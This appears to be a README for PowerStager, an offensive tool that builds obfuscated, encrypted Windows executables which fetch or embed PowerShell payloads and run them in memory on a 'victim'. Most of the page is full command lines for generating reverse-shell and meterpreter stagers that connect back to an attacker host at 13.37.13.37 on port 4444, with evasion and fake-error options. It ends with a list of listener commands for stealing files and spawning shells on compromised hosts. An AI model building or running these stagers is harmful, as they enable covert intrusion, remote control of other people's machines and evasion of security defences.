PowerStager

This script creates an executable stager that downloads a selected powershell payload.

Description

This script creates an executable stager that downloads a selected powershell payload, loads it into memory and executes it using obfuscated EC methods. The script will also encrypt the stager for dynamic signatures and some additional obfuscation.

This enables the actual payload to be executed indirectly without the victim downloading it, only by executing the stager. The attacker can then, for example, implement evasion techniques on the web server, hosting the payload, instead of in the stager itself.

Additional methods allow the payload to be embedded into the ‘stager’ and temporarily stored encrypted on disk for memory injection.

Not only are powershell powerful when managing Windows, it’s also powerful when exploiting Windows. This script exploits multiple Windows features such as its inherent trust of powershell, interpretation of shorthand syntaxes, code evaluation and more…

How to use

Installation

Requirement:



python3

python3-setuptools

i686-w64-mingw32-gcc

x86_64-w64-mingw32-gcc

i686-w64-mingw32-windres

x86_64-w64-mingw32-windres



python3 module

os

sys

getopt

glob

socket

fcntl

errno

string

re

random

base64

datetime

time

hashlib

readline

signal

urllib

names



git clone https://github.com/z0noxz/powerstager

cd powerstager

sudo ./setup.py install

Use

Generate a reverse shell payload to upload:

powerstager --target win64 \

--reverse-shell \

--lhost 13.37.13.37 \

--lport 4444 \

--generate \

--output out.ps1



powerstager --target win64 \

--url <url pointing the the uploaded payload> \

--output out.exe

Generate an embedded reverse shell payload, with obfuscation and fake-error:

powerstager --target win64 \

--reverse-shell \

--lhost 13.37.13.37 \

--lport 4444 \

--obfuscation \

--fake-error \

--output out.exe

Generate a meterpreter payload to upload:

powerstager --target win64 \

--meterpreter \

--lhost 13.37.13.37 \

--lport 4444 \

--generate \

--output out.ps1



powerstager --target win64 \

--url <url pointing the the uploaded payload> \

--output out.exe

Generate an embedded meterpreter payload, with obfuscation and fake-error:

powerstager --target win64 \

--meterpreter \

--lhost 13.37.13.37 \

--lport 4444 \

--obfuscation \

--fake-error \

--output out.exe

Generate an embedded custom payload:

powerstager --target win64 \

--path input.ps1

--output out.exe

Open a reverse shell listener:

powerstager --listener \

--lport 4444

Reverse shell listener commands:

• Local-InvokeInvokes powershell script files from host
• Local-Import-ModuleImports powershell modules from host
• Local-Set-WidthChanges the buffer width on remote client
• Local-UploadUploads files from host
• Local-DownloadDownloads files from client
• Local-Download-CommandsDownloads available powershell commands from client
• Local-Enumerate-SystemRuns enumeration scripts on client
• Local-Check-StatusCollects user and privilege status from client
• Local-Spawn-MeterpreterSpawns meterpreter shells on client
• Local-Spawn-Reverse-ShellSpawns reverse shells on client
• Local-Credential-CreateCreates credentials on client
• Local-Credential-ListLists created credentials on client

Author: z0noxz

Source: https://github.com/z0noxz/